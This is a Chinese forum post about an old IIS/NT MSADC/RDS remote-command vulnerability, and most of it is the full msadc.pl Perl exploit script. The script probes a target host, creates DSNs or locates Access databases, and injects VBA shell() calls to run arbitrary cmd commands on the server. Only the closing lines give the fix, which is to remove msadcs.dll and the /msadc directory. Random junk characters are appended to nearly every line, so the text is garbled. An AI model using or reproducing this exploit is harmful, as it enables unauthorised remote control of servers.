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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) K*_5M  
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涉及程序: n@)Kf A)&  
Microsoft NT server zMf .  
vO#=]J8`  
描述: D!- 78h  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 dC7YVs_,#  
$-}a<UFE;  
详细: .m]"lH*  
如果你没有时间读详细内容的话,就删除: %&RF;qa2xu  
c:\Program Files\Common Files\System\Msadc\msadcs.dll `H.~ # $  
有关的安全问题就没有了。 ,X05&'@Z  
a$*)d($  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 oXef<- :  
Wz~=JvRHh  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 s?8vs%(l  
关于利用ODBC远程漏洞的描述,请参看: .I"Qu:``  
+EZ Lic  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm SCCBTpmf2B  
 a9ko3L  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ")t ^!x(v  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp NYoh6AR  
s^@?+<4:  
这里不再论述。 I$Bu6x!  
XvU^DEfW  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: PtUea  
`5V=U9zdE  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset McRAy%{z  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 8T7E.guYr  
5v f?E"\r  
Vy:I[@6@+  
#将下面这段保存为txt文件,然后: "perl -x 文件名" !y&uK&1  
,dTRM  
#!perl 3 ?1qI'5  
# (}W+W\.  
# MSADC/RDS 'usage' (aka exploit) script =z5'A|Wa=,  
# b1(7<o  
# by rain.forest.puppy 3 %ppvvQ  
# F3XB};  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me LyaFWx   
# beta test and find errors! aL9 yNj}2  
/A8ua=Kn  
use Socket; use Getopt::Std; (aAv7kB&  
getopts("e:vd:h:XR", \%args); J|9kWjOf+i  
Uq:WW1=kh  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; G% |$3  
eDh]uKg  
if (!defined $args{h} && !defined $args{R}) { IMKyFp]h-  
print qq~ xpJ6M<O{8  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ZPktZ  
-h <host> = host you want to scan (ip or domain) JumZ>\'p(  
-d <seconds> = delay between calls, default 1 second </UUvMf"  
-X = dump Index Server path table, if available f4JmY1)@  
-v = verbose $)1i)/]9U  
-e = external dictionary file for step 5 pSjJ u D  
0]3 ,0s $}  
Or a -R will resume a command session tl 0_Sd  
WF)(Q~op0U  
~; exit;} G E=J Y  
 I~'%  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; $2p=vi 3  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} otA59 ;Z  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} -YXNB[C  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Gb=pQ (n4  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} KT3W>/#E  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } gRnn}LL^  
,g.*Mx`-  
if (!defined $args{R}){ $ret = &has_msadc; 'pCZx9 *c  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} k$u\\`i]oC  
DChqcdx~~  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" {XHAQ9'  
. "cmd /c "; PTU_<\  
$in=<STDIN>; chomp $in; V`/ E$a1&  
$command="cmd /c " . $in ; UlG8c~p  
=cwQG&as  
if (defined $args{R}) {&load; exit;} :~I^ni  
{X85  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; y /$Q5P+o  
&try_btcustmr; 'qL:7  
 /$Qs1*  
print "\nStep 2: Trying to make our own DSN..."; ))/NGa  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; (=2-*((&(A  
W'|NYw_B  
print "\nStep 3: Trying known DSNs..."; DzfgPY_Py  
&known_dsn; YXJreM5  
kPhdfF*Q  
print "\nStep 4: Trying known .mdbs..."; jL }bGD  
&known_mdb; /5Od:n  
|fL|tkGEa  
if (defined $args{e}){ mH1T|UI  
print "\nStep 5: Trying dictionary of DSN names..."; N\,[(LbA&  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } P3 Wnso  
PykVXZ7j;  
print "Sorry Charley...maybe next time?\n"; ;6 ?a8t@  
exit; @q98ac*{  
9nM_LV  
############################################################################## /|<Pn!}J  
,Wv@D"4?  
sub sendraw { # ripped and modded from whisker |/qwR~  
sleep($delay); # it's a DoS on the server! At least on mine...  ?z hw0  
my ($pstr)=@_; `fnU p-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || {\1:2UKkr  
die("Socket problems\n"); X#ZQpo'h  
if(connect(S,pack "SnA4x8",2,80,$target)){ b< dwf[  
select(S); $|=1; ',WnT:  
print $pstr; my @in=<S>; "QKCZ8_C  
select(STDOUT); close(S); og`rsl  
return @in; &$$o=Yg,  
} else { die("Can't connect...\n"); }} GI se|[p  
AiP#wK;  
############################################################################## ]u]BxMs  
t5| }0ID-  
sub make_header { # make the HTTP request S/itK3  
my $msadc=<<EOT - w{`/  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 y*G3dWb  
User-Agent: ACTIVEDATA UmR\2 cs  
Host: $ip `rLcJcW  
Content-Length: $clen %O69A$Q[m  
Connection: Keep-Alive 8l1s]K qr  
uPT2ga]  
ADCClientVersion:01.06 :*=fGwIWS  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 `!udU,|N  
@A5'vf|2;.  
--!ADM!ROX!YOUR!WORLD! _VUG!?_D$5  
Content-Type: application/x-varg ){nOM$W  
Content-Length: $reqlen U<YcUmX  
tx*L8'jlN  
EOT mn].8 F  
; $msadc=~s/\n/\r\n/g; -wsoJh  
return $msadc;} 7C&J88|\  
o7r7HmA@  
############################################################################## %`_Rl>@K=  
pjN4)y>0  
sub make_req { # make the RDS request n5DS  
my ($switch, $p1, $p2)=@_; fN_qJm#:$y  
my $req=""; my $t1, $t2, $query, $dsn; P=[_W;->}  
7es<%H  
if ($switch==1){ # this is the btcustmr.mdb query 6~!QibA|P  
$query="Select * from Customers where City=" . make_shell(); b8 ^O"oDrp  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . }@y(-7t  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} oH,{'S@q  
gTS} 'w{  
elsif ($switch==2){ # this is general make table query @*9c2\"k  
$query="create table AZZ (B int, C varchar(10))"; YYN'LF#j  
$dsn="$p1";} 4St-Q]Y _  
&-$27  
elsif ($switch==3){ # this is general exploit table query 4,P(w+  
$query="select * from AZZ where C=" . make_shell(); VnYcqeCm  
$dsn="$p1";} /szwVA  
A_\`Gj!s%  
elsif ($switch==4){ # attempt to hork file info from index server 8\X-]Gh\^  
$query="select path from scope()"; 2Ij,OIcdBE  
$dsn="Provider=MSIDXS;";} Op'&c0l  
g8SVuG<DI\  
elsif ($switch==5){ # bad query eJ%b"H!  
$query="select"; \8Hs[H!  
$dsn="$p1";} q^DQ9B  
S}b^_+UbP  
$t1= make_unicode($query); hm\UqIt  
$t2= make_unicode($dsn); kaT  !   
$req = "\x02\x00\x03\x00"; N>H#Ew@2U  
$req.= "\x08\x00" . pack ("S1", length($t1)); (KLhF  
$req.= "\x00\x00" . $t1 ; EzeU-!|W  
$req.= "\x08\x00" . pack ("S1", length($t2));  :I{9k~  
$req.= "\x00\x00" . $t2 ; Ygbyia|  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ^OOoo2  
return $req;} 3&!v"ms  
Eq?U$eE  
############################################################################## I/*^s  
SHYbQF2  
sub make_shell { # this makes the shell() statement LVNA`|>  
return "'|shell(\"$command\")|'";} nWes,K6T  
b/w5K2  
############################################################################## @__m>8wn  
9/`3=r@  
sub make_unicode { # quick little function to convert to unicode 9SBTeJ$RZ  
my ($in)=@_; my $out; &qzy?/i8  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Y?qUO2  
return $out;} @#p6C  
? *v*fs0  
############################################################################## RW<10:  
4?fpk9c{2  
sub rdo_success { # checks for RDO return success (this is kludge) O I0N(V  
my (@in) = @_; my $base=content_start(@in); sU+8'&vBp  
if($in[$base]=~/multipart\/mixed/){ 0v,fY2$c  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} zM(-f|wVI)  
return 0;} 8OMMV,QF  
AQ?;UDqU  
############################################################################## nMJ( tQ  
f5Hv![x  
sub make_dsn { # this makes a DSN for us >"+ ho  
my @drives=("c","d","e","f"); Q;s {M{u  
print "\nMaking DSN: "; ]8htL#C  
foreach $drive (@drives) { kTcW=AXu  
print "$drive: "; |[0Ijm2  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . [1Aoj|  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" I+F >^4_d  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); !rF1Remw  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; (hBph+  
return 0 if $2 eq "404"; # not found/doesn't exist BCuoFw)  
if($2 eq "200") { 8`wKq6  
foreach $line (@results) { WD_{bd)  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} yEos$/*u-N  
} return 0;} |~ytAyw  
dC;&X g`  
############################################################################## ts% n tnvI  
&Dt=[yqeG  
sub verify_exists { I4|"Ztw  
my ($page)=@_; 4TI`   
my @results=sendraw("GET $page HTTP/1.0\n\n"); U)M&AYb  
return $results[0];} *fs[]q'Q  
TNckyP75u  
############################################################################## XDAP[V  
6oq5CDoq  
sub try_btcustmr { gj iFpW4  
my @drives=("c","d","e","f"); ACy}w?D<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >9mj/P D  
]imVIu   
foreach $dir (@dirs) { d'&OEGb<  
print "$dir -> "; # fun status so you can see progress jhPbh5E  
foreach $drive (@drives) { 3d]~e  
print "$drive: "; # ditto %wXj P`#  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; +!W:gA  
$reqlenlen=length( "$reqlen" ); Wx8:GBM$2  
$clen= 206 + $reqlenlen + $reqlen; F3K<-JK+  
`zrg?  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); aOw#]pB|  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Cn{v\Q~.4  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} lo1bj*Y2  
\#]C !JQ  
############################################################################## pY[b[ezb  
YR? E z<p  
sub odbc_error { |h%HUau  
my (@in)=@_; my $base; eXD~L&s[  
my $base = content_start(@in); ~1E!Co  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this .jg@UAK  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3~7!=s\v  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; EJ>rW(s  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @/?i|!6  
return $in[$base+4].$in[$base+5].$in[$base+6];} zy%0;%  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Trs2M+r)  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . {* :^K\-  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} SSCs96  
0g6sGz=  
############################################################################## OjAdY\ ]1  
n.qT7d(  
sub verbose { !*L)v  
my ($in)=@_; $U. |  
return if !$verbose; w;{Q)_A  
print STDOUT "\n$in\n";} OF={k[  
M 87CP=yc  
############################################################################## ?hGE[.(eh]  
=PQ4S2Q  
sub save { #rF`Hk:  
my ($p1, $p2, $p3, $p4)=@_; _WvVF*Q"k  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; J}[[tl  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; maDWV&Db  
close OUT;} %gs?~Xl)]  
mj?Gc  
############################################################################## /g. c( -#]  
: .-z!  
sub load { vK@U K"m  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; NiWAJ]Z  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); i}zz!dJTE  
@p=<IN>; close(IN); Tg"? TZO~  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); N&p0Emg  
$target= inet_aton($ip) || die("inet_aton problems"); 9Bw#VQ  
print "Resuming to $ip ..."; }eW<P079  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; mv#hy  
if($p[1]==1) { $OdBuJA  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 'tw ]jMD  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; wggB^ }~  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 6pSTw\/6  
if (rdo_success(@results)){print "Success!\n";} 49M1^nMvoo  
else { print "failed\n"; verbose(odbc_error(@results));}} nIr`T^c9c  
elsif ($p[1]==3){ j`"!G*Vh  
if(run_query("$p[3]")){ ,mHUo4h1O  
print "Success!\n";} else { print "failed\n"; }} 8C8S) ;  
elsif ($p[1]==4){ yyljyE  
if(run_query($drvst . "$p[3]")){ =]-z?O6^`  
print "Success!\n"; } else { print "failed\n"; }} ye=4<b_  
exit;} A-:k4] {%P  
KpYezdPF)  
############################################################################## @XolFOL"f"  
`_1~[t  
sub create_table { CEI"p2  
my ($in)=@_; * 30K}&T  
$reqlen=length( make_req(2,$in,"") ) - 28; O=V_ 7I5  
$reqlenlen=length( "$reqlen" ); RqGX(Iuv  
$clen= 206 + $reqlenlen + $reqlen; aVHIU3  
my @results=sendraw(make_header() . make_req(2,$in,"")); ^~-YS-.J#,  
return 1 if rdo_success(@results); _~;%zFX  
my $temp= odbc_error(@results); verbose($temp); vm[*+&\2  
return 1 if $temp=~/Table 'AZZ' already exists/; 7@>/O)>(AS  
return 0;} u>.a;BO  
G 3,v'D5  
############################################################################## #"KC29!Yj  
!hZ: \&V  
sub known_dsn { \Z3K ~  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go d8vf kV B  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", eK l; T  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 3m!tb)  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 5v)bs\x6  
iLZY6?_^  
foreach $dSn (@dsns) { Ms,MXJtH  
print "."; dt:$:,"   
next if (!is_access("DSN=$dSn")); a{r"$>0  
if(create_table("DSN=$dSn")){ L?ht^ H  
print "$dSn successful\n"; ~`QoBZ.O&  
if(run_query("DSN=$dSn")){ <fG\J  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { S}VS@KDO  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 3~tu\TH6d  
i(;`x  
############################################################################## Lu.+J]Rz  
{CI4AT!?W  
sub is_access { $'3xl2T  
my ($in)=@_; GW;%~qH[,  
$reqlen=length( make_req(5,$in,"") ) - 28; "}qs +  
$reqlenlen=length( "$reqlen" ); DbH;DcV7  
$clen= 206 + $reqlenlen + $reqlen; eIalcBY  
my @results=sendraw(make_header() . make_req(5,$in,"")); /Yp#`}Ii  
my $temp= odbc_error(@results); lP`BKc,  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); \alV #>J5  
return 0;} ]}N01yw|s  
)h]#:,pm  
############################################################################## =?.oH|&\h  
KH;~VR8"/  
sub run_query { O6G'!h\F  
my ($in)=@_; ]$Z:^" JS3  
$reqlen=length( make_req(3,$in,"") ) - 28; s2G9}i{  
$reqlenlen=length( "$reqlen" ); N$]er'`  
$clen= 206 + $reqlenlen + $reqlen; \\<=J[R.M  
my @results=sendraw(make_header() . make_req(3,$in,""));  &Q~W{.  
return 1 if rdo_success(@results); D?1fY!C:r  
my $temp= odbc_error(@results); verbose($temp); ft(o-f7,  
return 0;} Xj/z),  
*"8Ls0!  
############################################################################## N7J?S~x  
i^%$ydg  
sub known_mdb { (^ EuF]  
my @drives=("c","d","e","f","g"); I* C~w  
my @dirs=("winnt","winnt35","winnt351","win","windows"); rMxIujx  
my $dir, $drive, $mdb; ulIEx~qP  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; A,DBq9Z+4R  
D1xGUz2r  
# this is sparse, because I don't know of many ]qv0Y~+`-K  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Yu3S3aRE  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 4G(7V:  
"\\system32\\certmdb.mdb", K'r;#I|"J  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% l(sVnhL6h  
!="q"X /*  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", v5S9h[gT  
"\\cfusion\\cfapps\\forums\\forums_.mdb", YkWHI (p  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", h7"U1'b  
"\\cfusion\\cfapps\\security\\realm_.mdb", $q@d.Z>;  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", BM,hcT r?  
"\\cfusion\\database\\cfexamples.mdb", v{a%TA9-  
"\\cfusion\\database\\cfsnippets.mdb", Q!1;xw~  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", WZNq!K H  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", &[-(=43@  
"\\cfusion\\brighttiger\\database\\cleam.mdb", xeU|5-d'  
"\\cfusion\\database\\smpolicy.mdb", 1W{N6+u  
"\\cfusion\\database\cypress.mdb", El<*)  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", =9a2+v0  
"\\website\\cgi-win\\dbsample.mdb", A%.mIc.  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", l}z<q  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Dd5 9xNKm  
); #these are just 4Lt9Dx1  
foreach $drive (@drives) { 1^WGJ"1  
foreach $dir (@dirs){ f*X CWr  
foreach $mdb (@sysmdbs) { R}=5:)%w  
print "."; ?ZRF]\dP]  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ p5fr}#en  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 7a'yO+7-)  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ C.92FiC  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; !lgL=Ys(  
} else { print "Something's borked. Use verbose next time\n"; }}}}} #,d~t  
%MjoY_<:_  
foreach $drive (@drives) { SU~a()"  
foreach $mdb (@mdbs) { INi$-Y+  
print ".";  lln"c  
if(create_table($drv . $drive . $dir . $mdb)){ z5fE<=<X_W  
print "\n" . $drive . $dir . $mdb . " successful\n"; /IUu-/ D  
if(run_query($drv . $drive . $dir . $mdb)){ )Fv.eIBY  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;  l!|c_  
} else { print "Something's borked. Use verbose next time\n"; }}}} VyxYv-$Y  
} 1XSnnkJm  
s7 "xDDV  
############################################################################## x"12$7 9=  
:]-oo*xP  
sub hork_idx { :DN!1~ZtW  
print "\nAttempting to dump Index Server tables...\n"; < xy@%  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; q`<:CfCt  
$reqlen=length( make_req(4,"","") ) - 28; P9cx&Hk9  
$reqlenlen=length( "$reqlen" ); !uEEuD#  
$clen= 206 + $reqlenlen + $reqlen; BY6#dlDi  
my @results=sendraw2(make_header() . make_req(4,"","")); o{s2T)2  
if (rdo_success(@results)){ ,5n!a.T  
my $max=@results; my $c; my %d; } GB~3 J  
for($c=19; $c<$max; $c++){ jfxNV2[  
$results[$c]=~s/\x00//g; >D,Oav  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; xPm. TPj  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; =:WZV8@%  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 8v"rM >[  
$d{"$1$2"}="";} ebk>e*  
foreach $c (keys %d){ print "$c\n"; } EU?qLj':  
} else {print "Index server doesn't seem to be installed.\n"; }} 9*)&hhBs,  
dEoIVy_9R  
############################################################################## c|Ivet>3  
nj[TTnd Jt  
sub dsn_dict { `>:5[Y  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); \HeJc:^  
while(<IN>){ h&<"jCjL  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; $xbC^ k  
next if (!is_access("DSN=$dSn")); %v0M~J}+  
if(create_table("DSN=$dSn")){ QJ2]8K)+C  
print "$dSn successful\n"; i 9) G t  
if(run_query("DSN=$dSn")){ 3B&A)&pEO  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Xul`>8y|  
print "Something's borked. Use verbose next time\n";}}} x%B_v^^^  
print "\n"; close(IN);} ?Z#N9Z~\  
OsgPNy0  
############################################################################## \zO.#H  
r<`:Q]  
sub sendraw2 { # ripped and modded from whisker d9f7 &  
sleep($delay); # it's a DoS on the server! At least on mine... +K 4XMf  
my ($pstr)=@_; G$<(>"Yr~$  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 5p0~AN)  
die("Socket problems\n"); tDK@?PfKz  
if(connect(S,pack "SnA4x8",2,80,$target)){ d6luksO*9  
print "Connected. Getting data"; <|Td0|x _q  
open(OUT,">raw.out"); my @in; cI=6zMB  
select(S); $|=1; print $pstr;  >;fVuy  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} OdzeHpH3g  
close(OUT); select(STDOUT); close(S); return @in; |p|Zv H  
} else { die("Can't connect...\n"); }} }%< ?]  
D p'urf\*$  
############################################################################## uC'-: t#  
hg)Xr5>  
sub content_start { # this will take in the server headers 9z7_D_yN2  
my (@in)=@_; my $c; >ED;_L*_o  
for ($c=1;$c<500;$c++) { sf> E  
if($in[$c] =~/^\x0d\x0a/){  >G]JwO  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } my 'nDi  
else { return $c+1; }}} 8Y`Lq$u  
return -1;} # it should never get here actually F \:~^`  
|a(KVo  
############################################################################## 6V;Dcfvi  
_Id'56N]J!  
sub funky { dN{At-  
my (@in)=@_; my $error=odbc_error(@in); y~9wxK  
if($error=~/ADO could not find the specified provider/){ O<m46mwM  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; @kYY1mv;  
exit;}  0,Ds1y^  
if($error=~/A Handler is required/){ b fxE}>  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5nG\J g7  
exit;} "Lp.*o  
if($error=~/specified Handler has denied Access/){ W5R/Ub@g  
print "\nServer has custom handler filters (they most likely are patched)\n"; m}]{Y'i]R  
exit;}} &;BhL%)}  
NQdwj>_a  
############################################################################## x93@[B*%  
!nmZ"n|}p  
sub has_msadc { X|of87  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); >^Nnhnr  
my $base=content_start(@results); ?%O>]s  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); km %r{  
return 0;} 0Wr<l%M)+  
14,)JZN  
######################## UTA|Ps$  
k[Em~>m  
` H'G"V  
解决方案: X5)D[aE6  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 529; _|  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 !yNU-/K  
ZU\$x<,  
拿出来充数 哈哈
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